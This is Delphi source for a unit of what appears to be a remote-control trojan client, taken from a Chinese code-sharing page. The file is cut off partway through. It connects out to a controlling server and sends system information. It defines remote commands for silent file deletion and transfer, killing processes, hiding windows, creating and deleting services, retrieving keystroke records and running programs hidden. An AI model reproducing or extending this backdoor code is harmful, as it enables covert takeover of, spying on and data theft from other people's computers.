📄 filelistandsysinfounit.pas
字号:
unit FileListAndSysInfoUnit;
interface
uses
Windows,
Messages,
WinSock2,
WinSock,
shellapi,
PublicFunctionUnit,
ServiceControlUnit,
MxZLib;
const
NotifyTerminateThread = 27;
CMDNo = 3000;
//文件操作
CMDDeleteFile = 3001;
CMDMakeDir = 3002;
CMDPeastFile = 3003;
CMDCopyFile = 3004;
CMDRenameFile = 3005;
CMDSendFileList = 3006;
CMDCutFile = 3007;
//主机信息
CMDGetSystemInfo = 3010;
//进程操作
CMDGetProcessList = 3020;
CMDKillProcess = 3021;
//窗口操作
CMDGetWindowList = 3030;
CMDKillWindow = 3031;
CMDBringWindowFront = 3032;
CMDHideWindow = 3033;
CMDShowWindow = 3034;
CMDMaxWindow = 3035;
CMDMinWindow = 3036;
CMDResoreWindow = 3037;
CMDSendChar = 3038;
CMDSendCharEnter = 3038;
CMDSendCharEnterCtrl = 3039;
//服务操作
CMDGetServcieList = 3040;
CMDStartService = 3041;
CMDStopService = 3042;
CMDDeleteWin32Service = 3043;
CMDPauseService = 3044;
CMDContinueService = 3045;
CMDSetAutoStartType = 3046;
CMDSetManualStartType = 3047;
CMDSetDisableStartType= 3048;
CMDAddWin32Service = 3049;
//键盘
CMDGetKeyRecord = 3060;
//运行方式
CMDRunNormal = 3070;
CMDRunHide = 3071;
CMDPMRunWithParam = 3072;
//文件传输用
RecvFile = 4000;
SendFile = 4001;
//CreateDir = 4002;
//SendDirFileList = 4003;
//文件数据标志
TransmitFileData = 10020;
FileOpenEror = 10021;
NothingNeedTransmit = 10022;
CreateMapViewError = 10023;
MapViewError = 10024;
type
//文件列表管理,system信息类
TFileListAndSysInfo = Class
private
//本类内专用的结构体
RemoteSystemInfo : TRemoteSystemInfo;
//命令接收和文件列表传输socket
FileSysRecvCMDSocket : TSocket;
FileSysRecvCMDSocketWsaEvent : WSAEVENT;
//文件命令接收缓冲区
FileSysCMDDataBuffer : array[0..DATA_BUFSIZE - 1] of Char;
//命令接收线程
FileSysReceiveCMDTreadHandle : THandle;
FileSysReceiveCMDTreadID : DWORD;
//检测数据线程
DectectFileSysInfoSockeThreadtHandle : THandle;
DectectFileSysInfoSockeThreadID : DWORD;
//下载列表变更,线程退出等通知
MsgFileThreadNotifyEvent : THandle;
//文件接收和发送时,socket上的事件触发,通知接收和发送线程进行操作的
FileSysSendNotifyEvent : THandle;
FileSysRecvNotifyEvent : THandle;
//服务列表和操作类
myCSM : TCSM;
//文件发送和接收用的
hFile : THandle;
//文件发送用的
hFileMapping : THandle;
MapPointer : Pointer;
//文件接收用
//发送字符串给指定窗口
procedure SpeakToWindow(Words : string; const Xy2Handle : HWND);
//文件的发送
function SendMyFile(const Socket : TSocket; const FileName : string;
const StartWritePositon : LongInt = 0; const SendNotifyEvent : THandle = 0) : integer;
//文件的接收
function RecvMyFile(const Socket : TSocket;
const FileName : string; PakageDataRecvBuffer : Pointer;
const PakageLengthToRecv : LongInt; const StartWritePositon : LongInt = 0;
const RecvNotifyEvent : THandle = 0) : integer;
public
constructor Create(SockAddrIn : TSockAddrIn; out Issucess : Boolean; const ServerPerIODataP : DWORD);
destructor Destroy; override;
procedure FileSysReceiveCMD;
procedure DectectFileSysSockeProcess;
end;
implementation
//----------------------------TFileLsitManage用到----------------------------
//接收文件操作的命令以及响应命令操作返回文件列表线程
procedure GlobleFileSysReceiveCMD(FileListManage : TFileListAndSysInfo); stdcall;
begin
FileListManage.FileSysReceiveCMD;
end;
//检测socket线程
procedure GlobleDectectFileSysSockeProcess(FileListManage : TFileListAndSysInfo); stdcall;
begin
FileListManage.DectectFileSysSockeProcess;
end;
{-----------------------------TFileListTransmit-----------------------------}
constructor TFileListAndSysInfo.Create(SockAddrIn: TSockAddrIn;
out Issucess: Boolean; const ServerPerIODataP : DWORD);
begin
Issucess := True;
FileSysRecvCMDSocket := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (FileSysRecvCMDSocket = INVALID_SOCKET) then
begin
CloseSocket(FileSysRecvCMDSocket);
IsSucess := False;
Exit;
end;
//connect to server
if (Connect(FileSysRecvCMDSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR) then
begin
CloseSocket(FileSysRecvCMDSocket);
IsSucess := False;
Exit;
end;
//将公用的结构体复制过来
MoveMemory(@RemoteSystemInfo, @PublicFunctionUnit.RemoteSystemInfo, sizeof(RemoteSystemInfo));
RemoteSystemInfo.RemoteDataType := GetSystemInfoData;
RemoteSystemInfo.PerIODataPointer := ServerPerIODataP;
//发送信息
SendAllTheData(FileSysRecvCMDSocket, @RemoteSystemInfo, SizeOf(RemoteSystemInfo));
//绑定新的事件
FileSysRecvCMDSocketWsaEvent := WSACreateEvent;
WSAEventSelect(FileSysRecvCMDSocket, FileSysRecvCMDSocketWsaEvent, FD_WRITE or FD_CLOSE);
//创建事件
FileSysSendNotifyEvent := CreateEvent(nil, False, False, 'FileSysSendNotifyEvent');
FileSysRecvNotifyEvent := CreateEvent(nil, False, False, 'FileSysRecvNotifyEvent');
MsgFileThreadNotifyEvent := CreateEvent(nil, False, False, 'MsgFileThreadNotifyEvent');
//全局的
FinishSearchWindowNotifyEvent := CreateEvent(nil, False, False, 'FinishSearchWindowNotifyEvent');
if Issucess then
begin
FileSysReceiveCMDTreadHandle := CreateThread(nil, 0, @GlobleFileSysReceiveCMD,
Pointer(Self), 0, FileSysReceiveCMDTreadID);
DectectFileSysInfoSockeThreadtHandle := CreateThread(nil, 0, @GlobleDectectFileSysSockeProcess,
Pointer(Self), 0, DectectFileSysInfoSockeThreadID);
end;
//得到磁盘列表信息
Sleep(50);
GetListAndSend(FileSysRecvCMDSocket, '', False, FileListTypeDriver);
//创建服务列表类
myCSM := TCSM.Create;
end;
//类free掉
destructor TFileListAndSysInfo.Destroy;
begin
//关闭线程
if FileSysReceiveCMDTreadID <> 0 then
begin
TerminateThread(FileSysReceiveCMDTreadHandle, 0);
CloseHandle(FileSysReceiveCMDTreadHandle);
end;
if DectectFileSysInfoSockeThreadtHandle <> 0 then
begin
TerminateThread(DectectFileSysInfoSockeThreadtHandle, 0);
CloseHandle(DectectFileSysInfoSockeThreadtHandle);
end;
//关闭socket
ShutDown(FileSysRecvCMDSocket, SD_BOTH);
CloseSocket(FileSysRecvCMDSocket);
//取消绑定
WSAEventSelect(FileSysRecvCMDSocket, 0, 0);
WSACloseEvent(FileSysRecvCMDSocketWsaEvent);
//关闭事件
CloseHandle(FileSysSendNotifyEvent);
CloseHandle(MsgFileThreadNotifyEvent);
//全局的
CloseHandle(FinishSearchWindowNotifyEvent);
myCSM.Free;
try
if hFile <> 0 then CloseHandle(hFile);
if hFileMapping <> 0 then CloseHandle(hFileMapping);
if MapPointer <> nil then UnmapViewOfFile(MapPointer);
except
end;
inherited;
end;
//检测socket状态
procedure TFileListAndSysInfo.DectectFileSysSockeProcess;
var
myWSANETWORKEVENTS : WSANETWORKEVENTS;
WaitResult : DWord;
begin
while True do
begin
WaitResult := WSAWaitForMultipleEvents(1, @FileSysRecvCMDSocketWsaEvent, False, 100, False);
//如果超时,则继续下一个循环
if WaitResult >= WSA_WAIT_TIMEOUT then
begin
Continue;
end;
//查询网络事件类型
ZeroMemory(@myWSANETWORKEVENTS, SizeOf(myWSANETWORKEVENTS));
WSAEnumNetworkEvents(FileSysRecvCMDSocket, FileSysRecvCMDSocketWsaEvent, @myWSANETWORKEVENTS);
//当前的socket可以写数据了
if (myWSANETWORKEVENTS.lNetWorkEvents and FD_WRITE) > 0 then
begin
if myWSANETWORKEVENTS.iErrorCode[FD_WRITE_BIT] <> 0 then
begin
Continue;
end;
SetEvent(FileSysSendNotifyEvent);
end;
//当前的socket可以读数据了
if (myWSANETWORKEVENTS.lNetWorkEvents and FD_READ) > 0 then
begin
if myWSANETWORKEVENTS.iErrorCode[FD_READ_BIT] <> 0 then
begin
Continue;
end;
SetEvent(FileSysRecvNotifyEvent);
end;
//远程socket关闭通知
if (myWSANETWORKEVENTS.lNetWorkEvents and FD_CLOSE) > 0 then
begin
Break;
end;
end;
end;
//删除目录和文件
function DelDirectory(const Source : string) : boolean;
var
fo : TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
wFunc := FO_DELETE;
pFrom := PChar(source+#0);
pTo := #0#0;
fFlags := FOF_NOCONFIRMATION + FOF_SILENT;
end;
Result := (SHFileOperation(fo) = 0);
end;
///复制Source整个目录到DEST目录,如果Dest不存在,自动建立,如果DEST存在,那么Source将作为Dest的子目录!
//例如如果要复制E:\Temp整个目录到E:\那么代码为: copydirectory('e:\temp','e:\');
///如果要复制E:\Temp到E:\Test目录下面,那么代码为:CopyDirecotry('E:\Temp','E:\TEST');
function CopyDirectory(const Source, Dest : string; const CutOrCopy : Boolean) : boolean;
var
fo : TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
if CutOrCopy then
wFunc := FO_COPY
else
wFunc := FO_MOVE;
pFrom := PChar(source + #0);
pTo := PChar(Dest + #0);
fFlags := FOF_NOCONFIRMATION + FOF_NOCONFIRMMKDIR + FOF_SILENT + FOF_RENAMEONCOLLISION;
end;
Result := (SHFileOperation(fo) = 0);
end;
//重新命名:
//用MoveFile()或者下面的函数也可以。
//RenameFile('c:\a','c:\b')好想也可以?Win2K。
//RenDirectory('d:\wt2','d:\bcde');
function RenDirectory(const OldName, NewName : string) : boolean;
var
fo : TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
wFunc := FO_RENAME;
pFrom := PChar(OldName + #0);
pTo := pchar(NewName + #0);
fFlags := FOF_NOCONFIRMATION + FOF_SILENT + FOF_SILENT;
end;
Result := (SHFileOperation(fo) = 0);
end;
//Copy 多个文件的处理:
function CopyFiles(const Source, Dest : string; const CutOrCopy : Boolean) : boolean;
var
fo : TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
if CutOrCopy then
wFunc := FO_COPY
else
wFunc := FO_MOVE;
pFrom := @source[1];
pTo := pchar(dest);
fFlags := FOF_NOCONFIRMATION + FOF_NOCONFIRMMKDIR + FOF_SILENT;
end;
Result := (SHFileOperation(fo) = 0);
end;
//清空目录
function ClearDirectory(const DirName : string;
const IncludeSub, ToRecyle : Boolean) : Boolean; stdcall;
var
fo : TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := GetActiveWindow;
wFunc := FO_DELETE;
pFrom := PChar(DirName + '\*.*' + #0);
pTo := #0#0;
fFlags := FOF_SILENT or FOF_NOCONFIRMATION or FOF_NOERRORUI or FOF_SILENT or
(Ord(not IncludeSub) * FOF_FILESONLY) or (ORd(ToRecyle) or FOF_ALLOWUNDO);
end;
Result := (SHFileOperation(fo) = 0);
end;
//命令接收
procedure TFileListAndSysInfo.FileSysReceiveCMD;
var
myDataHeaderInfo : TDataHeaderInfo;
//命令描述头
myInterChangeHeader : TInterChangeHeader;
ActuallySentSizePerPakage : LongInt;
Msg : TMsg;
//文件操作和文件列表用
tmpBuffer : array [0..DATA_BUFSIZE - 1] of Char;
ExampleStr, DesStr, SrcStr : string;
//进程句柄
ProcessHandle : THandle;
begin
//创建一个消息队列
PeekMessage(Msg, 0, $400, $400, PM_NOREMOVE);
Sleep(5);
while true do
begin
//接收发来的线程消息
if (PeekMessage(Msg, 0, TerminateNotifyMessage, TerminateNotifyMessage, PM_REMOVE)) then
begin
case Msg.wParam of
NotifyTerminateThread:
begin
//通知发送者,线程结束
SetEvent(MsgFileThreadNotifyEvent);
Break;
end;
end;
end;
//先接收8个字节,
if RecvAllData(FileSysRecvCMDSocket, @myDataHeaderInfo, SizeOf(myDataHeaderInfo),
ActuallySentSizePerPakage, FileSysSendNotifyEvent) = SOCKET_ERROR then
begin
Break;
end;
//再接收命令描述头
if RecvAllData(FileSysRecvCMDSocket, @myInterChangeHeader, SizeOf(myInterChangeHeader),
ActuallySentSizePerPakage, FileSysSendNotifyEvent) = SOCKET_ERROR then
begin
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -